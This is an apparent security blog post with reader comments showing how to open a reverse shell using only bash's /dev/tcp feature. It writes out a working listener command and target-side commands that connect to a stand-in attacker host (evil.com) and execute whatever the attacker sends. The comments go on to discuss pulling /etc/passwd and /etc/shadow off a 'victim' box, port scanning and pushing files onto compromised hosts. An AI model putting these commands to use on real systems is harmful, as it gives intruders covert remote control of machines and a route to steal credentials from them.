Reverse Shell with Bash
I am stuck at the Dubai International Airport and I have nothing else interesting to do. So, I though I might share a simple technique which will go into the Agile Hacking project. Here I will show you how to create a reverse command shell without using 3rd-party tools such as the all mighty netcat. Please read on!

When the pentester compromises a machine they often need to provide themselves with a user friendly access to the system. This is where command shells come into place. It is worth noting that there are a couple of variants of command shells. The typical shell consists of a generic network client, typically netcat, listening on a remote port which pipes output into something like bash. Another type of shell, which is known to be suitable when the pentester is restricted in terms of network service connectivity/availability, is the reverse shell which consists of a generic network client, again something like netcat, connecting to the attacker’s machine and piping input to bash. Most of the time, the attacker will use netcat, because this is the tool that is suggested in most security references and books.
Although netcat is quite useful, and you may have to use it in most cases, here is a simple technique which emulates what exactly netcat does but it relies on bash only. Let’s see how.
- In step one we start a listening service on our box. We can use netcat, or whatever you might have in hand.
$ nc -l -p 8080 -vvv - On the target we have to perform some bash-fu. We will create a new descriptor which is assigned to a network node. Then we will read and write to that descriptor.
$ exec 5<>/dev/tcp/evil.com/8080 $ cat <&5 | while read line; do $line 2>&5 >&5; done
There you go. Now everything we type in our local listening server will get executed on the target and the output of the commands will be piped back. Keep in mind that we don’t use any 3rd-party tools on the target but its default shell. This technique comes extremely handy in many situations and it leaves very small footprint on the targeted system.





comments
nice rip pdp, keep goin
This is the kind of stuff I like. As we tend to say: “there is always an easier way to solve the problem”.
glad to be of help :)
This shit doesn’t work everywhere, you need to have compiled support in bash for it, and since it’s very broken, most distributions do not ship bash enabled with this feature.
Nice, but I preferred the original write-up ;)
http://labs.neohapsis.com/2008.....literally/
To bad is not working on debian distributions.
give credit where its due. this was posted yesterday on some other sites prior.
a cool trick, but is there a convenient way of doing this in debian? Debian doesnt have the “/dev/tcp” feature as part of its bash by default, is there a way to get around that and use something else?
first of all, I find this feature working on far too many systems. Second, similar things can be done with TCL and 3rd, I don’t read every single blog out there to know that someone has blogged about it as well, neither I claim that it is new. If someone has posted similar technique somewhere else, it is just a coincidence. On another note, giving credits for something like this, is a bit stupid. :) It is like giving credits to someone for writing a loop in bash. This is a feature not an ingenious hack. Also, my example significantly differs from the example provided by the blog post suggested above. thanks for the heads up and apologies to those who think that I have ripped off their work. It is certainly not the case.
Nice one, but on my system the man page of bash states the following: :(
NOTE: Bash, as packaged for Debian, does not support using the /dev/tcp and /dev/udp files.
if you don’t have this feature compiled you can use TCL which is most likely installed on the system. Now, this defeats the purpose of the hack presented here but still it might be better in some situations when you are restricted in terms of being able to upload netcat. For more information on using TCL socket features, read the following link: http://www.tcl.tk/man/tcl8.4/TclCmd/socket.htm
otze, unfortunately Debian does not support it. keep in mind that Debian mainly uses very old packages. Which is good and bad at the same time.
You are my idol #1
Yes! Works fine on Solaris 9 and 10. Always had problems getting a netcat compiled on Solaris. Hate gcc problems on Solaris. The netcat version provided by sunfreeware.com does not include the “-e” option for bidirectional communication.
10x, I am glad that it works for u.
I tried this on a ubuntu server and it does not work in it’s default configuration. If you build the bash using the use –enable-net-redirections build flag it will work. Just in case someone else was wondering why it wouldn’t work.
Nice stuff, I really love this website :D
I checked the bash man page on Mac OS X 10.5.2 and it DOES support /dev/tcp!!
jk
I just tried it on Mac OS X Leopard and it works!! caveat I connected to and from localhost so my next test, time willing will be to try to/from another host. Nothing shows up on the victim host, all std out shows up on attacker side ;-)
pdp awesome awesome tip!!!
Thanks for the tip! Its an interesting concept to minimize the footprint on the client machine.
–
Yash Kadakia
CTO, Security Brigade
http://www.securitybrigade.com
Penetration Testing, PCI DSS Compliance, Security Consulting etc.
you can remove the
cat <&5, will be:there is also the $REPLY var of the read builtin command.
thnks for the stuff gnucitizen.
Why using two lines/commands? A one liner version:
Note: /dev/tcp support is enabled by default on Redhat. Disabled on Debian. Would be nice to list here support for other well known distro (Suse?).
nicolasfr, 10x for the tip. That is much better and a lot clearer. though, I tried to be explicit with my example so that it is easy to understand.
Ok here is an idea of how to turn this into a port scanner:
Say you are on box 192.168.1.2 and you want to port scan ports 79,80,81 on 192.168.1.1
do the following all on one line:
What you end up with is something like this:
Closed ports give you back a “Connection refused”
LOL
Google is truely my friend: http://www.oreilly.com/pub/h/5299
A tcp and udp portscanner implimented in Bash ;-)
sweet!
It works ok on debian, but only using TCL! :D
But works fine!
Thx for nice post pdp!
Ops sorry.. really don work on debian.
Works on Redhat Enterprise 4 and 5.
Just to complement…
i know this post its about the reverse shell.
-But “debian users” whatch this post about
Default-bash:/dev/tcp
http://bugs.debian.org/cgi-bin.....bug=146464
Marchiner: wow this bug report goes back to 2002! How much longer till it’s fixed ;-)
Ok this is off scope for this thread, and the moderator may not want it but here’s a way to use /dev/tcp to banner a web server:
You’d feed the http://www.whatever.com on the command line.
usage:
Correction:
script should read:
Useful, Thanks.
Thanks ‘pdp’. Nice concept & article. Though doesn’t work for my default Debian base, but surely gonna come handy for research! Kudos and keep up the good work :) Cheers.
10x
PDP
Yeh this was old school goodness ;-)
I love the idea of using what’s already there. Now what I’d like is an equivalent on windows!
unfortunately batch is very limited but you can do similar things with WScript combined with JavaScript(JScript) or VBScript. These stuff come by default on every Windows operating system.
pdp
thanks for pointing me in the right direction ;-)
Mr. Google sez: http://www.codeproject.com/KB/cs/ReverseRAT.aspx
LOL
Awesome!
Fun and games with
/dev/tcpand file transfer:Ok here is how to use this bash
/dev/tcptrick to move a file.test.txtAdvantages: netcat stays on the attacker’s box. All I use on the victim box is what’s already there…bash ;-)
————————————–
ok so you are probably saying “That’s nice” but if I’m already on the victim and I want to say transfer /etc/password or /etc/shadow back to my attacker’s box and I’m too lazy to do terminal copy and paste…then what?
and like magic the victim’s /etc/password is transferred to the attacker’s box.
Transfer a file using HTTP
Say you have compromised a victim box and want to transfer a file to the victim.
1. Put the file in the web root of the attacker box (I’m thinking of the web server in backtrack.
2. Start up the web server on the attacker box
3. On the victim box do:
Credit where credit is due:
http://www.pebble.org.uk/linux/bashbrowser
Here is an important thing I just realized…d’oh
this /dev/tcp/ thing can only connect outbound, it cannot listen and receive a connection like netcat. As far as I can tell ;-)